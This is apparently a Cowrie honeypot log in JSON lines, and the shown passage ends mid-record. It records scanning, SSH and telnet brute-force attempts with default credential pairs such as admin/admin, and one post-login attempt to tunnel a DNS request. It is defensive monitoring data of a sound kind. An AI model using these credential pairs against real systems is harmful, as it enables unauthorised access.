{"eventid":"cowrie.session.closed","duration":120.00112700462341,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:04.555772Z","src_ip":"152.59.19.2","session":"03823d36c054","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":57240,"dst_ip":"159.203.135.109","dst_port":23,"session":"24845fa7a936","protocol":"telnet","message":"New connection: 152.59.19.2:57240 (159.203.135.109:23) [session: 24845fa7a936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:04.842098Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":42198,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4ab12059a02","protocol":"ssh","message":"New connection: 103.63.108.25:42198 (159.203.135.109:22) [session: b4ab12059a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:05.127084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:05.132515Z","src_ip":"103.63.108.25","session":"b4ab12059a02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:05.413018Z","src_ip":"103.63.108.25","session":"b4ab12059a02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":37168,"dst_ip":"159.203.135.109","dst_port":23,"session":"57c6309906df","protocol":"telnet","message":"New connection: 152.59.19.2:37168 (159.203.135.109:23) [session: 57c6309906df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:05.835225Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45808,"dst_ip":"159.203.135.109","dst_port":22,"session":"4032c35ae279","protocol":"ssh","message":"New connection: 159.203.92.129:45808 (159.203.135.109:22) [session: 4032c35ae279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:05.887630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:05.892743Z","src_ip":"159.203.92.129","session":"4032c35ae279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:05.898622Z","src_ip":"159.203.92.129","session":"4032c35ae279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaaaaaaaaa","password":"aaaaaaaaaa123","message":"login attempt [aaaaaaaaaa/aaaaaaaaaa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:05.915698Z","src_ip":"159.203.92.129","session":"4032c35ae279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.82353162765503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:06.081333Z","src_ip":"104.248.46.74","session":"ae887a1eb7fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.218","src_port":16450,"dst_ip":"10.17.0.5","dst_port":23,"session":"07cb45bd4f9d","protocol":"telnet","message":"New connection: 66.132.172.218:16450 (10.17.0.5:23) [session: 07cb45bd4f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:06.144691Z"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"1234567890","message":"login attempt [sftpuser/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:06.562390Z","src_ip":"103.63.108.25","session":"b4ab12059a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:06.937709Z","src_ip":"159.203.92.129","session":"4032c35ae279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00178241729736,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:07.052418Z","src_ip":"152.59.19.2","session":"35652c934fad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.3565692901611328,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:07.501166Z","src_ip":"66.132.172.218","session":"07cb45bd4f9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.218","src_port":17474,"dst_ip":"10.17.0.5","dst_port":23,"session":"299a42283de2","protocol":"telnet","message":"New connection: 66.132.172.218:17474 (10.17.0.5:23) [session: 299a42283de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:07.525027Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":21554,"dst_ip":"159.203.135.109","dst_port":23,"session":"79c41499b368","protocol":"telnet","message":"New connection: 152.59.19.2:21554 (159.203.135.109:23) [session: 79c41499b368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:07.577340Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:07.841738Z","src_ip":"103.63.108.25","session":"b4ab12059a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.814879179000854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:08.103103Z","src_ip":"104.248.46.74","session":"cb2f85b588d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.6281521320343018,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:08.153031Z","src_ip":"66.132.172.218","session":"299a42283de2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.218","src_port":17484,"dst_ip":"10.17.0.5","dst_port":23,"session":"11c634dd0ab9","protocol":"telnet","message":"New connection: 66.132.172.218:17484 (10.17.0.5:23) [session: 11c634dd0ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:08.174450Z"}
{"eventid":"cowrie.session.closed","duration":3.2050788402557373,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:11.379401Z","src_ip":"66.132.172.218","session":"11c634dd0ab9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.093279361724854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:14.435911Z","src_ip":"62.77.140.101","session":"b373a1c1885c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.218","src_port":17500,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3ac7f5c4469","protocol":"telnet","message":"New connection: 66.132.172.218:17500 (10.17.0.5:23) [session: d3ac7f5c4469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:15.511553Z"}
{"eventid":"cowrie.session.closed","duration":10.876792907714844,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:26.388223Z","src_ip":"66.132.172.218","session":"d3ac7f5c4469","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8050,"dst_ip":"10.17.0.5","dst_port":22,"session":"2901590c3107","protocol":"ssh","message":"New connection: 87.251.64.176:8050 (10.17.0.5:22) [session: 2901590c3107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:28.857235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:28.862250Z","src_ip":"87.251.64.176","session":"2901590c3107","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:28.958635Z","src_ip":"87.251.64.176","session":"2901590c3107","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:29.249096Z","src_ip":"87.251.64.176","session":"2901590c3107","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:29.348071Z","session":"2901590c3107","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:29.450329Z","src_ip":"87.251.64.176","session":"2901590c3107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:29.549742Z","src_ip":"87.251.64.176","session":"2901590c3107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43626,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ccc6b161d90","protocol":"ssh","message":"New connection: 159.203.92.129:43626 (159.203.135.109:22) [session: 2ccc6b161d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:50.213463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:50.217755Z","src_ip":"159.203.92.129","session":"2ccc6b161d90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:50.224681Z","src_ip":"159.203.92.129","session":"2ccc6b161d90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaai2020","password":"123","message":"login attempt [aaai2020/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:50.249304Z","src_ip":"159.203.92.129","session":"2ccc6b161d90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:51.257260Z","src_ip":"159.203.92.129","session":"2ccc6b161d90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00150346755981,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:59.808906Z","src_ip":"193.239.26.142","session":"42c4e4e5556c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.239.26.142","src_port":47202,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cef22b0a97f","protocol":"telnet","message":"New connection: 193.239.26.142:47202 (10.17.0.5:23) [session: 7cef22b0a97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:45:00.312741Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":44466,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f6213ea882c","protocol":"ssh","message":"New connection: 103.63.108.25:44466 (159.203.135.109:22) [session: 2f6213ea882c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:45:09.578724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:45:09.584137Z","src_ip":"103.63.108.25","session":"2f6213ea882c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:45:09.869765Z","src_ip":"103.63.108.25","session":"2f6213ea882c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"123456","message":"login attempt [devuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:45:11.015477Z","src_ip":"103.63.108.25","session":"2f6213ea882c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:45:12.303489Z","src_ip":"103.63.108.25","session":"2f6213ea882c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39680,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ffd363f1567","protocol":"ssh","message":"New connection: 159.203.92.129:39680 (159.203.135.109:22) [session: 1ffd363f1567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:45:32.971201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:45:32.975403Z","src_ip":"159.203.92.129","session":"1ffd363f1567","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 